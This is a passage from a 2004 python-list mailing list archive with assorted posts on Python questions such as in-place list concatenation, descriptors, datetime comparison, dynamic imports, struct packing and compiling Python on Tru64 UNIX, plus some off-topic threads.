> 'types' of
> sequence cannot be joined together.

This is a simplification. a+=b can be done with an in-place update
for mutable objects, such as lists. An in place update doesn't have
to do exactly the same operation as the equivalent binary operator,
and it seems like it doesn't here.

Since it's an in-place operation, I would expect that a+=b
would be the same as a.append(b), but I haven't checked
that this is the case, and the manual doesn't indicate that
append() accepts general sequences. It does, however,
indicate that at one time it had to accept tuples, and likely
the code to do that was never removed. See note 2
in the Library Reference Manual under Builtin Objects -
Builtin Types - Sequence Types - Mutable Sequence Types.

I wouldn't depend on this working in future  releases.

John Roth 




From shalabh at cafepy.com  Thu Sep  2 13:20:08 2004
From: shalabh at cafepy.com (Shalabh Chaturvedi)
Date: Thu, 02 Sep 2004 10:20:08 -0700
Subject: initializing mutable class attributes
In-Reply-To: <XCxZc.993$4et.710@news04.bloor.is.net.cable.rogers.com>
References: <J4zYc.102357$UTP.98636@twister01.bloor.is.net.cable.rogers.com>	<1gjc8cs.sqvo1v1fhabdjN%aleaxit@yahoo.com>	<eTHYc.205$yqJ1.68@news04.bloor.is.net.cable.rogers.com>	<1gje9dn.r6jpetyroi0N%aleaxit@yahoo.com>	<8JbZc.140699$UTP.23045@twister01.bloor.is.net.cable.rogers.com>	<sweNBls/KXoF089yn@the-wire.com>	<cXnZc.158891$UTP.27028@twister01.bloor.is.net.cable.rogers.com>	<CZoZc.159227$UTP.62107@twister01.bloor.is.net.cable.rogers.com>	<u3c21wnbq.fsf@fitlinxx.com>	<mEtZc.160666$UTP.71082@twister01.bloor.is.net.cable.rogers.com>	<ch5tki$csm$0$216.39.172.122@theriver.com>
	<XCxZc.993$4et.710@news04.bloor.is.net.cable.rogers.com>
Message-ID: <ch7kl7$ef3$1@sea.gmane.org>

Dan Perl wrote:

> Someone else (Shalabh) suggested descriptors for the same problem but I
> didn't get to consider such a solution until now.

This is what I had in mind:

---->8-----
class defaultvalue(object):  # this is a descriptor
    def __init__(self, name, factory):
       self.name = name
       self.factory = factory

    def __get__(self, obj, cls=None):
       if obj is None:
          return self

       val = self.factory()
       setattr(obj, self.name, val)
       return val


class C(object):
    i = defaultvalue('i',dict)
    j = defaultvalue('j',list)

c = C()
print c.i, c.j   # prints {} []
---->8-----

Once it has kicked in, it's free of the descriptor overhead. Note you 
only need to define defaultvalue once and reuse it everywhere. Also you 
can give it a function or lambda like:

    k = defaultvalue('k', lambda :[1,2,3])

I still suggest you be a good Pythoneer and use __init__() like everyone 
else. It's a useful habit of always calling the base class __init__() at 
the top of your __init__(). If you don't develop this habit (or of at 
least checking the base for __init__), you will waste debugging cycles 
when you use other libraries.

--
Shalabh









From skip at pobox.com  Wed Sep 22 15:49:32 2004
From: skip at pobox.com (Skip Montanaro)
Date: Wed, 22 Sep 2004 14:49:32 -0500
Subject: Python speed-up
In-Reply-To: <20040922193925.GA4669@nl.linux.org>
References: <415186cc$0$3897$4d4ebb8e@news.nl.uu.net>
	<1gkj2vn.4w5b464zur5rN%aleaxit@yahoo.com>
	<20040922193925.GA4669@nl.linux.org>
Message-ID: <16721.55116.159985.802001@montanaro.dyndns.org>


    gerrit> Why isn't cStringIO faster than concatenating strings?

    gerrit> Using python2.4:
    ...

Because in 2.4 common case string concatenation gets a big speed boost:

    % python2.3 ~/local/bin/timeit.py  -s 's=""' "s+='foo'"
    10000 loops, best of 3: 68.3 usec per loop
    % python2.4 ~/local/bin/timeit.py  -s 's=""' "s+='foo'"
    1000000 loops, best of 3: 0.855 usec per loop

Skip


From sbabbitt at commspeed.net  Fri Sep 10 13:46:52 2004
From: sbabbitt at commspeed.net (Tom B.)
Date: Fri, 10 Sep 2004 10:46:52 -0700
Subject: WxInter
References: <mailman.3148.1094829029.5135.python-list@python.org>
	<chsieg$7q1$1@news-reader3.wanadoo.fr>
Message-ID: <1094839005.684994@news.commspeed.net>


"Eric Brunel" <eric_brunel at despammed.com> wrote in message 
news:chsieg$7q1$1 at news-reader3.wanadoo.fr...
> Michael Sparks wrote:
>> On Fri, 10 Sep 2004, Skip Montanaro wrote:
>>
>>
>>>    Tom> It seems that the thing that people like about Tk is the Canvas
>>>    Tom> object has anyone tried the wxFloatCanvas as a replacement.
>>>
>>>Where is it?  Google turns up essentially nothing for "wxFloatCanvas" on
>>>either groups or web.  That makes it a pretty well-hidden object.  Google
>>>offered "wxPlotCanvas" as an alternative.  Are they related?
>>
All you are talking about here is image bliting images onto other images. 
You can blit Images unto subimages and those images into other ones ad 
infinitum. You could do t in wxPython you could do the same in PIL. I wrote 
a hack of a boids demo and the only difference was the threading model.

I agree that it is best not to reinvent the wheel but Tk is its own language 
and wxPython is a library written for Python users.


Tom 




From tim.peters at gmail.com  Tue Sep 21 15:10:55 2004
From: tim.peters at gmail.com (Tim Peters)
Date: Tue, 21 Sep 2004 15:10:55 -0400
Subject: list.pop and print doing funny things
In-Reply-To: <000701c4a00a$576042e0$fd56e640@amd950>
References: <000701c4a00a$576042e0$fd56e640@amd950>
Message-ID: <1f7befae040921121041556745@mail.gmail.com>

[Gordon Williams]
> Why do I get the x printed twice in the sample below? It is like print x is
> being executed twice in each loop.
>
> >>> l = [1,2,3,4]
> >>> for x in l[:]:
> ...  print x
> ...  l.pop(l.index(x))
> ...  print l
> ...
> 1
> 1
> [2, 3, 4]
> 2
> 2
> [3, 4]
> 3
> 3
> [4]
> 4
> 4
> []
> >>>

It's for the same reason 42 is printed once in this example:

>>> 42
42
>>>

That is, at an interactive shell, the result of every expression that
returns a non-None value is displayed.  It doesn't make any difference
whether the expressions are buried in loops or if-clauses, etc.  Your
"l.pop(l.index(x))" returns a non-None result, so that gets displayed
too.

BTW, note that l.remove(x) is a clearer way to get the effect of
l.pop(l.index(x)), and does not return a non-None result.


From graeme.matthew at contrado.com.au  Tue Sep 14 19:24:03 2004
From: graeme.matthew at contrado.com.au (Graeme Matthew)
Date: Wed, 15 Sep 2004 09:24:03 +1000
Subject: comparing datetime with date
References: <mailman.3292.1095162740.5135.python-list@python.org>
Message-ID: <41477d9a$0$24391$5a62ac22@per-qv1-newsreader-01.iinet.net.au>

This is very interesting because if you continue further and coerce both to
strings you get:

>>> print str(y) == str(y)
True
>>> str(y)
'2004-09-14 06:43:15'
>>> str(x)
'2004-09-14'
>>>

Even though there string values are different they still match?

If we perform a CRC (Cyclic Redundancy Check) i.e compute a one way hash:

import binascii
>>> crc_x = binascii.crc32(str(x))
>>> crc_y = binascii.crc32(str(y))
>>> print crc_x == crc_y
False

So this confirms that there values do differ yet a comparision using ==
returns True?

All i can assume is that when a Date / DateTime comparision is made the
'lowest denominator' i.e Date is used but I may be very wrong

Will watch this thread closely

"Donnal Walter" <donnal at donnal.net> wrote in message 
news:mailman.3292.1095162740.5135.python-list at python.org...
>I was very surprised to discover that
>
> >>> import datetime
> >>> x = datetime.date(2004, 9, 14)
> >>> y = datetime.datetime(2004, 9, 14, 6, 43, 15)
> >>> print x == y
> True
>
> How can these two objects be considered equal? Is there a *general* way to 
> test for date != datetime as well as 4.5 != 4.6?
>
> Donnal Walter
> Arkansas Children's Hospital
>
> 




From luismg at gmx.net  Sun Sep 19 02:38:06 2004
From: luismg at gmx.net (Neuruss)
Date: 18 Sep 2004 23:38:06 -0700
Subject: New Programmer and Python
References: <_NidnfFXMMGVyNHcRVn-hg@comcast.com>
Message-ID: <278de0e.0409182238.d74d313@posting.google.com>

Python is an excellent choice not only as a first language, but as
"the" language.
Python is based on the same principles than the other languages, but
they are implemented in a more easy and clear way. Its easy syntax
lets you learn the programming principles faster and better, letting
you concentrate in the problem you're trying to solve instead in lower
level, redundant tasks such as memory allocation or types
declarations.
Besides, it is also fun.


From newsgroups at jhrothjr.com  Sat Sep 25 20:16:34 2004
From: newsgroups at jhrothjr.com (John Roth)
Date: Sat, 25 Sep 2004 19:16:34 -0500
Subject: Dynamic Import
References: <vOCdnQF0l8oFQsjcRVn-sA@comcast.com>
Message-ID: <10lc2j78asnb3d1@news.supernews.com>


"OctoberSnake" <anonymous at dontemailme.com> wrote in message 
news:vOCdnQF0l8oFQsjcRVn-sA at comcast.com...
> Can I import modules dynamically?  Say for example I wanted the user to
> specify what module my script would import, how to do this?

Look for __import__() in the Library Reference, Built-in objects,
Built-in Functions.

John Roth
>
> - OctoberSnake
>
>
> 



From julioperezsosa at yahoo.com  Sun Sep 19 19:24:41 2004
From: julioperezsosa at yahoo.com (julio)
Date: Sun, 19 Sep 2004 19:24:41 -0400
Subject: python is going to die! =(
References: <mailman.3520.1095631846.5135.python-list@python.org>
	<Omo3d.17502$QJ3.11149@newssvr21.news.prodigy.com>
Message-ID: <cil4fs$ou9$1@sea.gmane.org>

DilbertFan wrote:

> Do what you like to do. Do what's fun. What does Julio like to do?  Do
> that, Julio.
> 
> 

mmm , i like to program , i like open source i hate m$ , i like python , i
dont like c# cause its still in m$ domains , i like c# monodevelop and
sharpdevelop and there is no real python ide avaiable so i dont have to
memorize the 2000 libraries and functions and their behavior to think about
programing seriusly, and the python proyects,adoption and development is
decreasing more and more. so ..  




From export at hope.cz  Mon Sep  6 09:29:48 2004
From: export at hope.cz (Lad)
Date: 6 Sep 2004 06:29:48 -0700
Subject: view http info when browsing
References: <56d498d9.0409051725.1c7d3258@posting.google.com>
Message-ID: <81a41dd.0409060529.48120530@posting.google.com>

santoshamb at yahoo.com (ben) wrote in message news:<56d498d9.0409051725.1c7d3258 at posting.google.com>...
> I'm trying to write a web client script in python to log onto a web
> page and pull some information off of it.  The page has quite a few
> behind the scenes http things going on that are making it difficult to
> write the python script.  I think if I could see the raw http data
> that comes to my browser life would be much easier.  Does anybody know
> of programs that would run alongside my browser and show the http data
> that is send back and forth?
> 
> I've looked at plugins like httpwatch and iewatch.  httpwatch looks
> good but it costs quite a bit of money, and the trial is not fully
> functional.  iewatch has a free trial, but they don't show cookie
> info, which is important.
> 
> Does anybody know a good way of view the raw http?
> 
> Thanks for your help,
> 
> Ben

I downloaded a "sniffer" in Python. Let me know if you are interested


From M.Waack at gmx.de  Wed Sep 29 09:33:38 2004
From: M.Waack at gmx.de (Mathias Waack)
Date: Wed, 29 Sep 2004 15:33:38 +0200
Subject: using threads with for-loops
References: <3e96ebd7.0409280711.42ef328b@posting.google.com>
	<va2dndnRbro_C8TcRVn-vw@powergate.ca> <udqo22-sf7.ln1@valpo.de>
	<KvCdnUvBCJ5wX8TcRVn-pg@powergate.ca> <s7uo22-9m7.ln1@valpo.de>
	<NoydnTcFWsYJScTcRVn-sg@powergate.ca>
Message-ID: <i6qq22-pd7.ln1@valpo.de>

Peter Hansen wrote:
> Mathias Waack wrote:
>> Depends. Which means: don't know. If I would start thinking about
>> creating threads to gain a speedup, I would even think about
>> switching to another programming language.
> 
> I believe some work has been done in this area to make
> Python take advantage of multiple CPU systems, but
> I believe your approach (switch languages) is still one of
> the best options.  Another is to arrange your application
> to run as multiple processes, but this isn't quite as
> simple as just using multiple threads.

The java people have done a lot to speed up java threads. Without any
real success (just my opinion) - java programs are just slow. There
are classes of problems which can be easily solved using python, and
there are problems not very well suited for pythonic solutions.
Thats a fact and nobody should waste her time to force python into
the wrong direction. 
And I think its fair to let other languages live. We should be fair
winners;)

Mathias


From peter at engcorp.com  Wed Sep  8 08:22:28 2004
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 08 Sep 2004 08:22:28 -0400
Subject: A historical question
In-Reply-To: <chmphe$21tc$1@ulysses.noc.ntua.gr>
References: <chmphe$21tc$1@ulysses.noc.ntua.gr>
Message-ID: <7qidndg5YZiUZKPcRVn-iw@powergate.ca>

Jerald wrote:

> I'd like to know when python started working with bytecode.
> It seems natural that in the first python implementations
> code was really interpreted : executed directly.

Why does that seem natural to you?

-Peter


From peter at engcorp.com  Wed Sep  8 22:00:24 2004
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 08 Sep 2004 22:00:24 -0400
Subject: Question: tools for business apps development
In-Reply-To: <Xns955F1AEE4BA29JanC@213.118.38.197>
References: <mailman.2847.1094238878.5135.python-list@python.org>
	<1gjlr3h.1g2eq2uki1ytcN%aleaxit@yahoo.com>
	<864d370904090606465938fea5@mail.gmail.com>
	<mailman.2980.1094568177.5135.python-list@python.org>
	<Xns955F1AEE4BA29JanC@213.118.38.197>
Message-ID: <yMadnZ0Q_8qlJKLcRVn-gA@powergate.ca>

JanC wrote:
> Ksenia Marasanova schreef:
>>One of possibilities is to use Flash (in a browser) for GUI. I am 
>>thinking about using it for some project that also needs more 
>>interactivity: Flash for frontend, Python for backend (Web service 
>>using XMLRPC).
> 
> You can do this with HTML+JavaScript too, no need for Flash...

Disadvantages of this approach include serious problems
with the cross-platform aspect, caused mainly by differences
in the JavaScript implementations on different browsers.

In addition, there is not yet a fully functional standard
way of communicating between JavaScript and the server on
the back end, short of doing page reloads.

Suffice to say that while HTML+JavaScript can do the job,
in principle, in practice it falls short and Flash is
potentially a much more effective solution, at least for
now and the near future.

-Peter


From me at privacy.net  Fri Sep 24 14:48:14 2004
From: me at privacy.net (Richard Hanson)
Date: Fri, 24 Sep 2004 11:48:14 -0700
Subject: [OT] "Pre-announcement" of Python-based "computing appliance"
	project.
References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com>
Message-ID: <8vq8l0h45bo1d8g0mrbckkut1urrt554ku@4ax.com>

If I disappear temporarily, it is likely from connectivity issues --
nothing more... ;-)


running-straight-into-the-demarc-box-at-the-moment'ly y'rs,
Richard Hanson

-- 
sick<PERI0D>old<P0INT>fart<PIE-DEC0-SYMB0L>newsguy<MARK>com


From ovesvenssons at hotmail.com  Thu Sep 16 15:14:22 2004
From: ovesvenssons at hotmail.com (hepp)
Date: 16 Sep 2004 12:14:22 -0700
Subject: Running scripts without installing Python?
Message-ID: <cf221c81.0409161114.3a441e@posting.google.com>

Is it possible to run a Python script in Windows without installing
Python on your machine first?

At my work we are using a mixed environment - some have Solaris
workstations and others PC's. I have written an application in
wxPython that runs in both Unix and Solaris. For the Unix version I
put an installation of Python on a network drive that everybody can
access, but in Windows everybody has to download Python and wxPython
before they can run the application.

Is it possible to put a global installation on a network drive in
Windows as well? I tried, but then it complained that it couldn't find
some dll files when I ran the application from another computer.

I have also tried to compile the application to an executable binary
with py2exe, but it didn't work properly.


From jacek.generowicz at cern.ch  Tue Sep 28 03:47:51 2004
From: jacek.generowicz at cern.ch (Jacek Generowicz)
Date: 28 Sep 2004 09:47:51 +0200
Subject: Metaclass with name overloading.
References: <tyfekkoeyk2.fsf@pcepsft001.cern.ch>
	<mailman.3957.1096289972.5135.python-list@python.org>
Message-ID: <tyfacvag7h4.fsf@pcepsft001.cern.ch>

Carlos Ribeiro <carribeiro at gmail.com> writes:

> On 27 Sep 2004 13:33:33 +0200, Jacek Generowicz
> <jacek.generowicz at cern.ch> wrote:

[...]

> > I was wondering whether it would be possible to achieve this by
> > forcing Python to use some dicitonary proxy (which accumulates
> > values, rather that keeping just the last value to be associated
> > with a key), instead of dict, when executing the class definiton?

[...]

> No, you can't, and it's not just a parser issue. Python uses direct
> C calls to the native dict type. It's hard coded,

I feared this would be the case.

> p.s. In the particular case of the original poster, I'm wondering
> what kind of application did he had in mind.

A standalone, lightweight SWIG-like tool, in this case. But in
general, I've had cause to wonder about declarative syntaxes in Python
every now and then.

Thanks, to all who contributed ideas to the thread, particularly Alex,
Thomas and Lenard.


From aleaxit at yahoo.com  Wed Sep  1 07:26:23 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Wed, 1 Sep 2004 13:26:23 +0200
Subject: sys.stdin.readline()
References: <367a4461.0408311221.30866c09@posting.google.com>
	<HBF.20040831jd9s@bombur.uio.no> <ch31jd$6l3u$1@netnews.upenn.edu>
Message-ID: <1gjfriz.1cy11j313viwyqN%aleaxit@yahoo.com>

Mike Maxwell <maxwell at ldc.upenn.edu> wrote:
   ...
> The guy down the hall does these kinds of things with perl one-liners,
> but I have more dignity than to use perl...  Unfortunately, it's looking
> more and more complex to do one-liners like this in Python.  Am I 
> overlooking s.t.?

No, I think you're correctly observing that Python isn't oriented to
one-liners -- not at all.  Most interesting things in Python require
more than one line.  You could write a "oneliners shell" that takes some
defined separator and turns it into a newline, of course, e.g.:

bangoneliner.py:
    #!/usr/bin/env python
    import sys
    oneliner = sys.argv.pop(1)
    exec '\n'.join(oneliner.split('!'))

now, sometying like

bangoneliner.py 'for x in xrange(7):!  if x%2:!    print x'

should work (note that inserting the spaces after the bangs to simulate
proper indentation IS a silly fuss, but you hafta...:-).


Alex


From godoy at ieee.org  Tue Sep  7 23:30:50 2004
From: godoy at ieee.org (Jorge Godoy)
Date: Wed, 08 Sep 2004 00:30:50 -0300
Subject: %a format
References: <20040907182925.GA27643@grulic.org.ar>
	<mailman.3010.1094613510.5135.python-list@python.org>
Message-ID: <m3isap77yt.fsf@g2ctech.com>

Skip Montanaro <skip at pobox.com> writes:

> I suspect because nobody's implemented it yet, most likely because nobody's
> needed it.  (Yours is the first mention I've seen of it.)  Python's C
> implementation currently supports C89, not C99, and since %a is apparently a
> new thing, it's not all that surprising the Python doesn't yet support it.
> Can you provide a patch against Objects/stringobject.c in the distribution?
> Note that Python uses sprintf() to do its dirty work, so any patch would
> have to implement %a itself to remain compatible with C89.

Skip,  


Is the repost intentional?  I've seen some post of yours (2 or 3)
repeated now, with an interval of +/- 11h between the original and the
repost. 

-- 
Godoy.     <godoy at ieee.org>


From martin at v.loewis.de  Tue Sep  7 14:36:58 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Tue, 07 Sep 2004 20:36:58 +0200
Subject: Compiling Python 2-3.4 on Tru64 UNIX V4.0F
In-Reply-To: <mailman.2984.1094572951.5135.python-list@python.org>
References: <mailman.2984.1094572951.5135.python-list@python.org>
Message-ID: <413dffc2$0$13052$9b622d9e@news.freenet.de>

Heuguette Bostic wrote:
> cc: Warning: ./Modules/posixmodule.c, line 3007: "return" is an invalid preprocessor directive
> #       return PyInt_FromLong((long)getpgrp(0));
> --------^
[...]
> Does anyone have any suggestions to help me resolve this problem?  Any help would be appreciated.

I would start with downloading the original Python source code. Line
3007 of posixmodule.c should not start with a hashmark. Why does it
in your copy?

Regards,
Martin


From miki.tebeka at zoran.com  Thu Sep  2 02:24:19 2004
From: miki.tebeka at zoran.com (Miki Tebeka)
Date: Thu, 2 Sep 2004 08:24:19 +0200
Subject: Basic tokenizer
In-Reply-To: <Xns95578D624E7ADdaleriverhallsystems@192.168.8.150>
References: <Xns95578D624E7ADdaleriverhallsystems@192.168.8.150>
Message-ID: <20040902062419.GK2116@zoran.com>

Hello Dale,

> I'm looking for a simple string tokenizer. The Python tokenize module is 
> too specific and is geared to Python syntax.
> 
> I just want something that can be setup to read the basic stuff like 
> . identifiers 
> . integers (and/or reals)
> . strings
> . special characters such as operators and brackets.
> 
> Is anyone aware of such a module?
> 
> Thanks.
There are several parsing/lexing packages for Python. My favorite is PLY
(http://systems.cs.uchicago.edu/ply/).

Bye.
--
------------------------------------------------------------------------
Miki Tebeka <miki.tebeka at zoran.com>
http://tebeka.spymac.net
The only difference between children and adults is the price of the toys


From reply.in.the.newsgroup at my.address.is.invalid  Wed Sep  8 09:37:07 2004
From: reply.in.the.newsgroup at my.address.is.invalid (Rene Pijlman)
Date: Wed, 08 Sep 2004 15:37:07 +0200
Subject: WebDAV Server
References: <m3n0009a10.fsf@frank.xprtcc.com>
Message-ID: <3v1uj0tm197ll2cnifgdkhls1pbaubbals@4ax.com>

Jody Winston:
>I'd like to present a view of an internal data store, which has Python
>interface built using SWIG, so that my users can traverse and
>manipulate the data store using familiar tools. My first thought was
>to adapt an existing WebDAV server. 

If the data store was ZODB, you would have described Zope. 

>Of course, Zope has a WebDAV server, but I don't know if
>using Zope is overkill.

Perhaps you can use ZServer standalone.

-- 
Ren? Pijlman


From lynn at garlic.com  Thu Sep  9 09:27:23 2004
From: lynn at garlic.com (Anne & Lynn Wheeler)
Date: Thu, 09 Sep 2004 07:27:23 -0600
Subject: Xah Lee's Unixism
References: <slrncj1745.t5q.amajorel@atc5.vermine.org>
	<413af268$0$19706$61fed72c@news.rcn.com>
	<rv1hhc.mtv2.ln@via.reistad.priv.no>
	<413c5b9c$0$19705$61fed72c@news.rcn.com>
	<1s4ihc.4i4.ln@via.reistad.priv.no> <opsdxecgt8pqzri1@mjolner.upc.no>
	<un000uufg.fsf@mail.comcast.net>
	<2tjvj0ttc99io295ecg2l86lc2h4tug1jc@4ax.com>
Message-ID: <u656nvah0.fsf@mail.comcast.net>

Reynir Stef?nsson <reynirhs at mi.is> writes:
> Wasn't the idea behind ISO/OSI that there should be One Network for
> everybody, instead of today's lot of interconnected nets?

interconnection and interoperability happen at both a protocol level
and a operational level .... being able to have both independence
and interoperability offers huge amount of advantages.

i don't know what the original idea was .... however, my impression of
looking at what it became .... was that it sprang up from telco
point-to-point copper wire orientation. iso/osi even precludes LANs.

the work on high speed protocol ... which would go directly from
level4/transport layer to LAN/MAC interface ... was precluded in ISO
standards organizations because it didn't conform to OSI model for
two reasons

1) it skipped the OSI level4/level3 transport/network interface and
was therefor precluded in ISO standards bodies 

2) it went directly to the LAN/MAC interface .... LAN/MAC interface
is not allowed for in the OSI model ... so therefor intefacing to
LAN/MAC interface would be violation of OSI model

... the sort of third reason was that it would also incorporate
internetworking layer within its functionality .... also a violation
of the OSI model.

misc. past comments
http://www.garlic.com/~lynn/subnetwork.html#xtphsp

-- 
Anne & Lynn Wheeler | http://www.garlic.com/~lynn/


From joe at invalid.address  Wed Sep  1 12:10:26 2004
From: joe at invalid.address (joe at invalid.address)
Date: Wed, 01 Sep 2004 16:10:26 GMT
Subject: Xah Lee's Unixism
References: <slrncj1745.t5q.amajorel@atc5.vermine.org>
	<41337FC9.8070902@hotmail.com>
	<slrncj7hhh.2pt.amajorel@atc5.vermine.org>
	<p7v7j0plcfbden593l1irfprmfkp4d3k51@4ax.com>
	<slrncj8m5n.2pt.amajorel@atc5.vermine.org>
	<%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net>
	<du7k6vfnvx9.fsf@amadeus.cc.tut.fi> <4134AC88.56452265@yahoo.com>
	<aN2Zc.10226$QJ3.5466@newssvr21.news.prodigy.com>
	<4135cea1$0$19726$61fed72c@news.rcn.com>
	<%hmZc.17354$ni.569@okepread01>
Message-ID: <m3vfeyc6mn.fsf@invalid.address>

Steve Holden <sholden at holdenweb.com> writes:

> jmfbahciv at aol.com wrote:
> 
> > In article <aN2Zc.10226$QJ3.5466 at newssvr21.news.prodigy.com>,
> >    red floyd <no.spam at here.dude> wrote:
> >
> >>CBFalconer wrote:
> >>
> >>
> >>>Dump Notepad and get Textpad.  www.textpad.com.  First class.
> >>>
> >>
> >>Let the editor flame wars begin!
> >>
> >>Get gvim!  www.vim.org
> > You think notepad is an editor?  <snort>  You must be young
> > and inexperienced in the ways of Real Man's Editing sports.
> >
> My choice? Definitely TECO, a real programmable editor from the
> TOPS10 days.
> 
> It would create a file if invoked by the "make" command. If you
> typed "make love" it would respond with "...not war?" before
> beginning the edit.

But can it quote Zippy the Pinhead?

Joe
-- 
If you don't think too good, don't think too much
  - Ted Williams


From abra9823 at mail.usyd.edu.au  Thu Sep  2 06:26:07 2004
From: abra9823 at mail.usyd.edu.au (Ajay)
Date: Thu,  2 Sep 2004 20:26:07 +1000
Subject: design question
Message-ID: <1094120767.4136f53f159f2@www-mail.usyd.edu.au>

hi!

I am trying to write an application, say myapp, which does some xml
processing and then interacts with another application, say app2.
App2 is in Python and i can't change it.

The problem is that both my app and app2 must work on a pocket pc. I could
write myapp in Python but the python WinCE release does not have the
pyexpat parser and i cant find any other fast xml processor for a PDA.
There is a python only processor but that is way too slow.
my options as i see it are:

1. write myapp in c, compile to a dll using embedded visual c++ and write a
python wrapper around it, which then interacts with app2. The problem here
is again the parser. i am not writing my own, i don't know if msxml can
work on a PDA. Has anyone been down this road before. if yes, i'd love to
hear how you went about it and any suggestions you may have.

2. compile expat for pda using evc. the trouble is i myapp will use DOM and
expat is event driven. i will need to write code to build the whole DOM
hierarchy.

3. try and port the PyXML package to the PDA along with expat. A daunting
task and not one that i think i can achieve.

4. use c#.net to write myapp, compile to dll and then call from python. i
am not sure if this will work. i could alternatively use python.net but i
am not sure if that will work on the PDA.

and that exhausts the list of options i have.
i would really very much appreciate it if you could reply with any
alternatives that i could pursue or how i can go about implementing one of
the options above.

thanks

cheers





----------------------------------------------------------------
This message was sent using IMP, the Internet Messaging Program.


From alexis.roda at urv.es  Wed Sep  8 12:41:28 2004
From: alexis.roda at urv.es (Alexis Roda)
Date: Wed, 08 Sep 2004 18:41:28 +0200
Subject: Using Python to generate code?
In-Reply-To: <1gjt4u3.qme0dh1ucx3ybN%aleaxit@yahoo.com>
References: <ed89f8f2.0409072251.2152c22b@posting.google.com>
	<slrncju9df.8jt.hat@se-126.se.wtb.tue.nl>
	<1gjt2sn.1mxhb1n12y29cuN%aleaxit@yahoo.com> <"mailm
	an.3041.1094661030.5135.python-list"@python.org>
	<1gjt4u3.qme0dh1ucx3ybN%aleaxit@yahoo.com>
Message-ID: <413F3638.4090301@urv.es>

Alex Martelli wrote:
> Alexis Roda <alexis.roda at urv.es> wrote:
>    ...
> 
>>>Yep, though output.replace(...) would be neater.  But the best
>>>replacement is already in the Python 2.4 standard library: it uses
>>>exactly the $identifier convention, and takes a dictionary of mapping of
>>>identifier to string...:
> 
>    ...
> 
>>>In [6]: tpl % dict(VAR='fee', START='fie', END='fofum')
>>>Out[6]: u'for (fee = 1, fee < fie, fee < fofum)'
>>
>>If you are not contrained to using $ identifiers:
>>
>>d={'var':'foo', 'start':1, 'end': 100}
>>'for (%(var)s = %(start)i; %(var)s < %(end)i; %(var)s++)' % d
> 
> 
> yeah, but the template string for this long-standing Python feature is
> hard to read and hard to write, which is why 2.4 finally grew a simpler
> approach -- the string.Template class.
> 
> 
> Alex

If you come from Perl its not so hard :-). Anyway, I agree, templates 
are nicer, but not everyone is running python 2.4 ...


Alex
-- 
                                    ////
                                   (@ @)
----------------------------oOO----(_)----OOo--------------------------
<>               Ojo por ojo y el mundo acabara ciego
/\ Alexis Roda - Universitat Rovira i Virgili - Reus, Tarragona (Spain)
-----------------------------------------------------------------------



From grante at visi.com  Fri Sep 10 16:10:37 2004
From: grante at visi.com (Grant Edwards)
Date: 10 Sep 2004 20:10:37 GMT
Subject: python and bit shifts and byte order, oh my!
References: <9490d.126$KA1.1800@news1.mts.net>
	<chrogi$gmk$1@news1.wdf.sap-ag.de> <sWk0d.3$Uo1.23@news1.mts.net>
	<4141e6f2$0$67058$a1866201@newsreader.visi.com>
	<P0n0d.62$Uo1.261@news1.mts.net>
	<mailman.3169.1094844046.5135.python-list@python.org>
	<txn0d.67$Uo1.323@news1.mts.net>
Message-ID: <41420a3d$0$65611$a1866201@newsreader.visi.com>

On 2004-09-10, Reid Nichol <rnichol_rrc at yahoo.com> wrote:

> It's my understanding that pack and unpack of the struct module returns 
> strings and not rearranged integers.

Partly right. Pack returns a string.  Unpack returns whatever
you tell it to return (integers, floats, etc.).

When reading a 4 byte integer from a file:

  Read a string of 4 bytes from the file.

  Use struct.upack() on the string to convert it to an integer
  object.

When writing a  4 byte integer to a file:

  Use struct.pack() to convert the integer object into a 4-byte
  string with the desired byte order.

  Write the 4 byte string to the file.  

> At any rate I would rather do it myself if only to teach
> myself something about this.

Do what yourself?

-- 
Grant Edwards                   grante             Yow!  NOW, I'm supposed
                                  at               to SCRAMBLE two, and HOLD
                               visi.com            th' MAYO!!


From hbostic at santeecooper.com  Fri Sep 17 10:48:35 2004
From: hbostic at santeecooper.com (Unixtrekkor)
Date: 17 Sep 2004 07:48:35 -0700
Subject: Compiling Python 2-3.4 on Tru64 UNIX V4.0F
References: <mailman.2984.1094572951.5135.python-list@python.org>
	<413dffc2$0$13052$9b622d9e@news.freenet.de>
	<3035f851.0409090830.6bf21074@posting.google.com>
	<4140A4B1.4000204@v.loewis.de>
Message-ID: <3035f851.0409170648.5e68f24e@posting.google.com>

I made it past the compilation errors by editing pyconfig.h.in.  The
setgrp and getgrp module settings were set to undef.  Now I see the
following errors:

rm -r /lgyr/library/lib
ar cr /lgyr/library/lib Modules/getbuildinfo.o
ar:  Error:  /lgyr/library/lib not in archive format
*** Exit 1
Stop

Does anyone know what library should be used?  Thanks.

Heuguette

"Martin v. L?wis" <martin at v.loewis.de> wrote in message news:<4140A4B1.4000204 at v.loewis.de>...
> Unixtrekkor wrote:
> > I downloaded another copy and now when I compile I see the following
> > message:
> > 
> > cc: Error: ./Modules/posixmodule.c line 3007:  In this
> > statement,"getgrp" expects 0 arguments, but 1 are supplied. 
> > (toomanyargs)
> >          return PyInt_FromLong((long)getgrp(0));
> > ---------^
> > cc: Error: ./Modules/posixmodule.c line 3024:  In this
> > statement,"setgrp" expects 0 arguments, but 2 are supplied. 
> > (toomanyargs)
> >          if (setgrp(0, 0) < 0)
> > -------------^
> > *** Exit 1
> > Stop.
> > 
> > I am looking for the format of the getgrp and setgrp commands.  Thanks
> > for your help.
> 
> As a work-around, you could edit pyconfig.h, and remove the
> mentioning of HAVE_GETPGRP and HAVE_SETPGRP. Then, these wrappers
> won't get compiled.
> 
> Regards,
> Martin


From grante at visi.com  Fri Sep 24 16:37:34 2004
From: grante at visi.com (Grant Edwards)
Date: 24 Sep 2004 20:37:34 GMT
Subject: file read, binary or text mode
References: <41540121$0$3891$4d4ebb8e@news.nl.uu.net>
	<Xns956E4CDA892D7askariaddressNonVali@207.35.177.135>
	<mailman.3867.1096051696.5135.python-list@python.org>
	<86hdpnpj1n.fsf@stronzo.brainbot.com>
	<_audnWtgdbGK58ncRVn-uA@powergate.ca>
Message-ID: <4154858e$0$80686$a1866201@newsreader.visi.com>

On 2004-09-24, Peter Hansen <peter at engcorp.com> wrote:

